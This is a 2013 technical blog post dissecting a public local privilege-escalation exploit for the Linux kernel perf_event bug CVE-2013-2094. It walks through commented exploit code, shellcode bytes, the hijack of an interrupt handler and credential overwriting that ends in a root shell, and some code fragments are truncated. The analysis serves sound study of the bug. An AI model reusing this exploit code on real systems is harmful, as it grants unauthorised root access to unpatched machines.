time to bleed by Joe Damato

technical ramblings from a wanna-be unix dinosaur

A closer look at a recent privilege escalation bug in Linux (CVE-2013-2094)

View Comments

If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter.


This article is going to explain how a recent privilege escalation exploit for the Linux kernel works. This exploit affects CentOS 5 and 6 as well as other Linux distributions. Linux kernel version 2.6.37 to 3.8.9 are affected by this exploit. I will explain this exploit from the kernel side and the userland side to help readers get a better understanding of how exactly it works.

I did not write the original exploit and I did not discover this vulnerability. Full credit goes to the original author of the exploit. I don’t do computer security in any professional capacity, but I do think unraveling exploits is fun and interesting.

First, let’s start with some helpful background information about a few different things and then I’ll tie them all together at the end to walk through the exploit itself.

mmap and MAP_FIXED

mmap seems to come up quite a bit in my blog posts. If you’ve never used it before, it is a system call that allows you to map regions of memory into your process’ address space.

mmap can take a wide variety of flags. One useful flag is MAP_FIXED. This flag allows you to ask mmap to create a region of memory in your process’ address space starting at a specific address. Of course, this request may fail if another mapping is already present at the address you specify.

The syscall wrapper function

Not every system call supported by the Linux kernel has a corresponding wrapper function in glibc (or other library). There are many reasons why this can happen. Sometimes, a new version of a Linux distribution is cut before glibc has been updated to support the new kernel interface. Other times, the glibc team decides for whatever reason that a particular kernel feature will not have a corresponding userland wrapper function exposed.

If you need to call a particular system call for which no wrapper exists in glibc, you can use the generic function syscall.

syscall works by allowing the programmer to pass in an arbitrary syscall number and an arbitrary set of arguments that will get passed over to the kernel. Sometimes, you can find a symbolic constant for the syscall number of the syscall you’d like to call in the unistd.h file for your system architecture.

On 64-bit CentOS 6, the header file /usr/include/asm/unistd_64.h contains lots of useful symbolic constants. For example, the constant for the syscall number for getpid looks something like this:

#define __NR_getpid          39

Interrupt Descriptor Table and sidt

I’ve written about the interrupt descriptor table (IDT) a few times before, but all you really need to know is that the IDT is essentially an array of structures that the CPU uses to determine what action to take when an exception or interrupt is raised on the system.

A register called the IDTR on x86 and x86_64 processors stores a structure which describes the length and starting address of the IDT. The format of the data in this register when the CPU is in 64-bit mode can be represented by the following packed structure in C:

/* 64bit IDTR structure */
struct {
  uint16_t limit;
  uint64_t addr;
} __attribute__((packed)) idtr;

The value of this register can be stored or loaded with the sidt and lidt instructions, respectively.

The instruction to load a value into the IDTR, lidt, may only be executed by privileged code (in our case, this means kernel code).

The instruction to store the value in the IDTR, sidt may be executed by unprivileged code (in our case, this means userland).

The entries in the IDT array have the following format when the CPU is in 64-bit mode1 :

Rewriting the semtex exploit to make it a bit more clear

I decided to rearrange the original exploit by adding white space, renaming functions, adding lots of comments, and moving some stuff around. I did this to help make the C code a bit more understandable to a beginner.

You can get the rewritten code from github here.

Linux kernel performance monitoring interface

The Linux kernel provides a set of system calls for performance monitoring. Some of the information about the low level interfaces provided by the kernel can be found here.

In particular, the function perf_event_open can be called by userland code to obtain a file descriptor which allows a program to gather performance information. perf_event_open can eventually call perf_swevent_init which is an internal kernel function that is called when a user program is attempting to initialize a software defined event.

Buggy increment in the kernel

Let’s take a look at the structure definition for the first argument to the perf_event_open function, struct perf_event_attr2:

struct perf_event_attr {
   * Major type: hardware/software/tracepoint/etc.
  __u32                   type;

   * Size of the attr structure, for fwd/bwd compat.
  __u32                   size;

   * Type specific configuration information.
  __u64                   config;

  /* ... */

Notice that the field config is defined as a 64-bit unsigned integer.

Now let’s take a look at how perf_swevent_init uses the config field:

static int perf_swevent_init(struct perf_event *event)
  int event_id = event->attr.config;
  /* ... */
  if (event_id >= PERF_COUNT_SW_MAX)
    return -ENOENT;

  /* ... */

  /* ... */

This looks bad because the unsigned 64-bit config field is being cast to a signed 32-bit integer. That value is then used as an index to an array called perf_swevent_enabled.

And, so:

  1. The user supplies a value for config which has (at least) the 31st bit set to 1.
  2. This value is truncated to 32-bits and stored as event_id.
  3. The if statement checks event_id against PERF_COUNT_SW_MAX (which is 9 on CentOS 6 kernel 2.6.32-358.el6.x86_64) to ensure that event_id is less than PERF_COUNT_SW_MAX. Any negative number will be, so execution continues.
  4. The value in event_id is sign extended to 64-bits and then used as an offset into the perf_swevent_enabled array.
  5. Thus, any value interpreted as negative from event_id will cause the kernel to call atomic_inc on a memory address that a user program can control.

Buggy decrement in the kernel

Let’s now examine the code which is executed when the file descriptor is closed:

static void sw_perf_event_destroy(struct perf_event *event)
  u64 event_id = event->attr.config;

  /* ... */

  /* ... */

This code is interesting because here the value in config is stored as an unsigned 64-bit value and used as an index into perf_swevent_enabled. This code path assumes that the open code path examined above will reject anyone with a config value that is too large.

However, as we saw above, if the user had successfully called perf_event_open with a large 64-bit unsigned value (which was interpreted as a 32-bit negative number) then the close code path will incorrectly offset from the perf_swevent_enabled with a large 64-bit unsigned value.

This allows a user program to cause the kernel to decrement an address that the userland program can control.

Exploit summary

Before I dig into the exploit, let’s take a step back and summarize what this exploit will do:

  • An initial memory region is allocated with mmap and MAP_FIXED and is used to determine where buggy increments and decrements will land when offset fromperf_swevent_enabled.
  • A memory region is allocated where a NOP sled, a small piece of shellcode, and the malicious C code is copied.
  • The malicious code is rewritten at runtime to fill in values for the process’ uid and gid as well as the address of the upper 32-bits of the IDT handler for interrupt 4.
  • The upper 32-bits of IDT handler for interrupt 4 are incremented by crafting a precise value for perf_event_open.
  • Interrupt 4 is triggered which executes the shell code and malicious code. The malicious code overwrites the uids and gids as well as the capability sets for the current process.
  • Once the interrupt handler returns and the exploit continues, it calls setuid to become root and then executes a bash shell as root.
  • Crazy shit.


The exploit will use these buggy increment and decrement paths to force the kernel to eventually transfer execution to a known userland address that contains malicious code which elevates the credentials of the process allowing it to execute a shell as root.

A wrapper function for calling perf_event_open

The exploit contains a function called sheep which uses syscall (as described above) to call perf_event_open. I’ve renamed sheep in my rewrite to break_perf_event_open and rearranged the code to look like this:

static void
break_perf_event_open (uint32_t off) {

  struct perf_event_attr pea = {
    .type   = PERF_TYPE_SOFTWARE,
    .size   = sizeof(struct perf_event_attr),
    .config = off,
    .mmap   = 1,
    .freq   = 1,
   * there is no wrapper for perf_event_open in glibc (on CentOS 6, at least),
   * so you need to use syscall(2) to call it.
   * I copied the arguments out of the kernel (with the kernel explanation of
   * some of them) here for convenience.
  int fd = syscall(__NR_perf_event_open,
                  &pea,   /* struct perf_event_attr __user *attr_uptr       */
                     0,   /* pid_t              pid       (target pid)      */
                    -1,   /* int                cpu       (target cpu)      */
                    -1,   /* int                group_fd  (group leader fd) */
                    0);   /* unsigned long      flags                       */

  if (fd < 0) {

  if (close(fd) != 0) {


Setting up an initial memory region with mmap

map = mmap((void *) 0x380000000, 0x010000000,
                PROT_READ | PROT_WRITE,

The exploit begins by first creation a memory region with mmap at the address 0x380000000 for a length of 0x010000000 bytes (256 MB).

The address 0x380000000 was chosen because:

  • The address of the perf_swevent_enabled array is 0xffffffff81f360c0.
  • If the user passes -1 as config then the offset into the array in the close path will be: 0xffffffffffffffff * 4 (multiply by 4 we are doing pointer arithmetic on an array of ints).
  • Thus, a decrement will be performed at the address: 0x0000000381f360bc for a config value of -1.
  • Similarly, a decrement will be performed at the address: 0x0000000381f360b8 for a config value of -2.

Thus, a region starting at 0x380000000 and extending until 0x390000000 will contain the address that the kernel will write to when decrementing the -1 and -2 offsets of perf_swevent_enabled.

The exploit then fills this memory region with 0s and calls a function called sheep in the original exploit (aka break_perf_event_open in my rewrite):

  memset(map, 0, SIZE);


After the above exploit code executes an increment and decrement are performed in the kernel. The decrement lands somewhere on in the memory region allocated above.

Find the offset into the memory region where the write occurred

The exploit continues by iterating over the memory region to find where the decrement landed:

/* this for loop corresponds with lines 66-69 of the original exploit */

for (i = 0; i < SIZE/4; i++) {                                                                                                                             
  uint32_t *tmp = map + i;
   * check if map[i] (aka tmp) is non zero.
   * also check if map[i+1] (aka tmp+1) is non zero.
   * if both are non zero that means our calls above
   * break_perf_event_open(-1) and break_perf_event_open(-2) have
   * scribbled over memory this process allocated with mmap.
  if (*tmp && *(tmp + 1)) {

Retrieving the value of the IDTR and creating another memory region

The exploit continues by:

  • Retrieving the value stored in the IDTR with sidt
  • Masking the upper 32 bits and the lower 24 bits of the 64-bit IDT base address away
  • Allocating a memory region starting at the adjusted address
  /* this instruction and the subsequent mask correspond to lines 71-72 in
   * the original exploit.
  asm volatile ("sidt %0" : "=m" (idt));
  kbase = idt.addr & 0xff000000;
  /* allocate KSIZE bytes at address kbase */
  code = mmap((void *) kbase, KSIZE,
                  PROT_READ | PROT_WRITE | PROT_EXEC,

This is the memory region to which the kernel will transfer control. I will explain soon how execution will be transferred to this address and why the 0xff000000 bitmask was applied.

Preparing the target memory region

The exploit now prepares the memory region:

  • The memory region is filled with the value 0x90 which is the opcode for the NOP instruction (See the wikipedia page about the NOP sled for more information).
  • The malicious code from the function fuck (renamed to fix_idt_and_overwrite_creds) is copied into the memory region after a healthy sized NOP sled.
  • A small shellcode stub (that we will examine shortly) is prepared and copied into the memory region just before the malicious code.
   * fill the region of memory we just mapped with 0x90 which is the x86
   * NOP instruction.
  memset(code, 0x90, KSIZE);

  /* move the code pointer up to the start of the last 1024 bytes of the                                                                                     
   * mapped region.
   * this leaves (32 megabytes - 1024 bytes) of NOP instructions in
   * memory.
  code += (KSIZE-1024);

  /* copy the code for the function above to the memory region */
  memcpy(code, &fix_idt_and_overwrite_creds, 1024);

  /* copy our shell code just before the code above */
  memcpy(code - shellcode_sz, shellcode, shellcode_sz);

A closer look at the malicious code

Before we can examine the rest of the exploit, we'll first need to understand the malicious code that is copied into the memory region.

The malicious code, originally called fuck, but renamed to fix_idt_and_overwrite_creds has a few goals:

  • Restore as much of the overwritten kernel data as possible or at least enough for the kernel to continue (mostly) working.
  • Find the kernel data structure that lives at the start of the kernel stack. This is a struct thread_info.
  • Find the pointer in struct thread_info to the current struct task_struct. This should be easy once the struct thread_info is located, as it is the first field in struct thread_info.
  • Find the struct cred pointer in the current struct task_struct.
  • Overwrite the various uids and gids as well as the kernel_cap_t fields.

The original exploit code for this is a bit painful to read. In my rewritten exploit I added a lot of comments to the code to help explain how each of these goals is accomplished.

Take a look at the code here.

Cleaning up after itself

One of the first things that fuck (aka fix_idt_and_overwrite_creds) does is fix the upper 32-bits of the IDT handler offset for software interrupt 4, by doing this:

/* This marker will eventually be replaced by the address of the upper 32-bits
 * of the IDT handler address we are overwiting.
 * Thus, the write on the following line to -1 will restore the original value
 * of the IDT entry which we will overwrite 
uint32_t *fixptr = (void*) GENERATE_MARKER(1);
*fixptr = -1;

Locating the uids and gids

The most interesting part of this malicious code (for me, at least) is how exactly it locates the uids and gids that need to be overwritten.

You'll notice that in the main function of the exploit, the exploit has the following code:

/* get the current userid and groupids */
u = getuid();
g = getgid();

/* set all user ids and group ids to be the same, this will help find this
 * process' credential structure later.
setresuid(u, u, u);
setresgid(g, g, g);

This code ensures that all the uids and gids are set to the current uid and gid. This is done so that the malicious code that executes later can search memory for a sequence of uids and gids and "know" that it has found the right place to begin overwriting data.

Another interesting thing to note about the malicious code is that it gets modified at runtime after it has been copied to the memory region described above.

Rewriting parts of the malicious code at runtime

The malicious code needs to be overwritten at runtime after it has been copied to the memory region to which control will be transfered for two main reasons:

  1. At compile time the process' uid and gid may not be known.
  2. At compile time the address of any overwritten kernel state my not be known. As we will soon see, this overwritten state is part of the IDT handler offset for a particular software interrupt.

In order to accomplish these goals, you will notice that the fuck function (or fix_idt_and_overwrite_creds) has a series of "markers" in place:

  /* create a few markers which will be filled in with the
   * ((group id << 32) | user id) later by the exploit.
  uint64_t uids[4] = {	GENERATE_MARKER(2),
  /* ... */

  uint32_t *fixptr = (void*) GENERATE_MARKER(1);

These values are simply unique enough bit patterns that can be located later and overwritten.

The main function of the exploit takes care of that by doing this:

for (j = 5; j > 0; j--) {
  /* generate marker values */
  needle = GENERATE_MARKER(j);
  /* find marker values in the malicious code copied to our memory
   * region
  p = memmem(code, 1024, &needle, 8);
  if (!p) {
      fprintf(stderr, "couldn't find the marker values (this is"
  if (j > 1) {
    /* marker values [2 - 5] will be replaced with the uid/gid of this process */
    *p = ((g << 32) | u);
  } else {                                                                                                                                                      
    /* marker value 1 will be replaced with the offset of the IDT handler we will
     * highjack. this address will be used to restore the overwritten state later.
    *p = idt.addr + 0x48;

Incrementing the address of an IDT handler

Now, everything is in place. It is time for the exploit to connect all the pieces together before triggering the malicious code and executing a root shell.

The last piece of the puzzle was pretty interesting for me as this was my first time seeing this attack vector, but after I understood what was happening and did some googling I located a phrack article from 2007 that explains this attack vector.

This exploit works by incrementing the upper 32-bits of a 64-bit IDT entry's handler offset (check the screenshot from the Intel manual above). The IDT entry for the overflow exception was chosen, software interrupt 4, because it is not particularly important and can be temporarily "borrowed" by this exploit.

Since the overflow exception's handler is located in kernel memory, the upper 32-bits of the 64-bit handler offset are 0xffffffff. Incrementing 0xffffffff causes an overflow to 0x00000000 and thus the 64-bit IDT handler's offset goes from 0xffffffff[lower 32bits] to 0x00000000[lower 32bits].

Or in other words, changing the top 32-bits of the address to 0 changes the address from a location in kernel memory to a location that can be mapped with mmap and MAP_FIXED.

This is why the IDT's base address was masked earlier in the exploit like this:

 * the "sidt" instruction retrieves the base Interrupt Descriptor Table 
 * this instruction and the subsequent mask correspond to lines 71-72 in
 * the original exploit.

asm volatile ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;

The actual increment happens when the following code executes:

break_perf_event_open(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);

This code is just doing some tricky arithmetic to calculate the value that must be passed to the buggy kernel increment path in order to increment the upper 32-bits of the 64-bit IDT handler for software interrupt 4

Triggering the exploit

Now that everything is hooked in, triggering the exploit is simple:

 * trigger the highjacked interrupt handler
asm volatile("int $0x4");

This raises the interrupt causing the CPU to transfer control to the (modified) IDT handler address which is actually just the memory region we created above and copied NOPs, shellcode, and malicious C code into.

After the NOPs execute, the shellcode executes:

static char shellcode[] = "\x0f\x01\xf8"       /*  swapgs                    */
                          "\xe8\x05\x0\x0\x0"  /*  callq    
                                                *  (this callq transfers
                                                *  exeuction to after this piece
                                                *  of shell code where the
                                                *  fix_idt_and_overwrite_creds
                                                *  function will live
                          "\x0f\x01\xf8"       /*  swapgs                    */
                          "\x48\xcf";          /*  iretq$                    */

This shell code:

  • Swaps in a stored value for the GS register, which the kernel needs for accessing internal data.
  • Transfers control to our malicious C code (fuck, aka fix_idt_and_overwrite_creds).
  • After the malicious C code returns, the shellcode continues by swapping the GS register back out.
  • And finally, it returns to userland with iret.

Dat root shell

After the above code executes, the malicious code has been triggered, the uid and gid of the process as well as the capability set have been overwritten. The process can now change its uid to root and execute a shell as root:

 * at this point we should be able to set the userid of this process to
 * 0.
if (setuid(0) != 0) {

 * launch bash as uid 0
return execl("/bin/bash", "-sh", NULL);

Easily one of the most insane exploits I've seen, but that isn't saying much since I don't look at exploits all that often.

Exercise for the reader

Now that you know how this exploit works, go make it work on a 64-bit Ubuntu. No, seriously, do it.


  • Dealing with integers in C code is tricky. Be careful and get people to review your code.
  • Hijacking IDT entries to scan kernel memory to find and overwrite kernel data structures to elevate privileges of a user process so it can then execute a bash shell as root is pretty nuts.
  • MAP_FIXED is actually much more useful than I had previously imagined.
  • Hijacking IDT entries to scan kernel memory to find and overwrite kernel data structures to elevate privileges of a user process so it can then execute a bash shell as root is pretty nuts.
  • Reading exploit code is fun and interesting. You should do it more often than you probably do right now.
  • I'm tired from writing this much.

If you enjoyed this article, subscribe (via RSS or e-mail) and follow me on twitter.


  1. Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 3A: System Programming Guide, Part 1, 5.1: Interrupt and Exception Overview []
  2. /usr/include/linux/perf_event.h line 198 []

Written by Joe Damato

May 20th, 2013 at 10:29 pm